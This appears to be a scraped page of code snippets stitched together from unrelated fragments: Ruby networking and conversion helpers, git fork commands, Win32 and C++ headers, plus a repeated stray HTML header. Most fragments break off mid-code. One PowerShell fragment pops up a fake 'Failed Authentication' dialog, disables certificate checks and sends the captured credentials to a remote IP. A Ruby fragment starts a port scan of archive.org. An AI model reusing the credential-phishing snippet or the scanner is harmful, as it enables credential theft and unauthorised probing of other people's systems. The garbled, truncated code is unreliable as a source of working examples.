#Getting Started
##Webpage:
<html>
<head>
<title>Testing with Ruby and Selenium WebDriver</title>
</head>
<body bgcolor="antiquewhite">
require 'socket' | |
# Set up the parameters. | |
PORT_RANGE = 1..512 | |
HOST = 'archive.org' | |
TIME_TO_WAIT = 5 # seconds | |
# Create a socket for each port and initiate the nonblocking | |
# connect. | |
sockets = PORT_RANGE.map do |port| |
# How to convert IPv4 addresses between integer <=> dot-decimal notation | |
INTEGER = 1698212032 | |
DOT_DECIMAL = '192.168.56.101' | |
# [ 192, 168, 56, 101 ] | |
DOT_DECIMAL_PARTS = DOT_DECIMAL.split('.').map(&:to_i) | |
#################################### | |
# integer to dot-decimal |
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "\" + [Environment]::UserName,[Environment]::UserDomainName); | |
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; | |
$wc = new-object net.webclient; | |
$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy; | |
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; | |
$wc.credentials = new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, ''); | |
$result = $wc.downloadstring('https://172.16.102.163'); |
#Getting Started
##Webpage:
<html>
<head>
<title>Testing with Ruby and Selenium WebDriver</title>
</head>
<body bgcolor="antiquewhite">
# In Java, the following expression | |
# Integer.toHexString(1286933134) | |
# produces: | |
# "4cb50a8e" | |
# and | |
# Integer.toHexString(-1286933134) | |
# produces: | |
# "b34af572" | |
# ref doc: http://docs.oracle.com/javase/7/docs/api/java/lang/Integer.html#toHexString(int) |
# Support for http digest auth | |
# Discovered here: http://johan.bingodisk.com/public/code/net_digest_auth.rb | |
require 'digest/md5' | |
require 'net/http' | |
module Net | |
module HTTPHeader | |
@@nonce_count = -1 | |
CNONCE = Digest::MD5.new("%x" % (Time.now.to_i + rand(65535))).hexdigest |
require "fiddle/import" | |
require 'fiddle/types' | |
# オリジナル(Win32APIライブラリを使う版)はこちら | |
# https://rubyist.g.hatena.ne.jp/edvakf/20110405/1301973681 | |
module WIN32API | |
extend Fiddle::Importer | |
dlload 'C:\\Windows\\System32\\kernel32.dll' | |
include Fiddle::Win32Types | |
extern 'DWORD GetCurrentProcessId()' |
require 'net/http' | |
require 'uri' | |
host = "localhost" | |
port = 5125 | |
path = "/api/hoge/hoge/hoge" | |
body = URI.encode_www_form({'number'=>0, 'mode'=>'gauge'}) | |
# 1) | |
@client = Net::HTTP.new(host, port) | |
# @client.set_debug_output(STDOUT) |
git clone [email protected]:YOUR-USERNAME/YOUR-FORKED-REPO.git
cd into/cloned/fork-repo
git remote add upstream git://github.com/ORIGINAL-DEV-USERNAME/REPO-YOU-FORKED-FROM.git
git fetch upstream
#include <Windows.h> | |
#include <ntdef.h> | |
#include <cstdint> | |
#include <cassert> | |
#include <cstring> | |
#include <cstdio> | |
typedef enum | |
{ |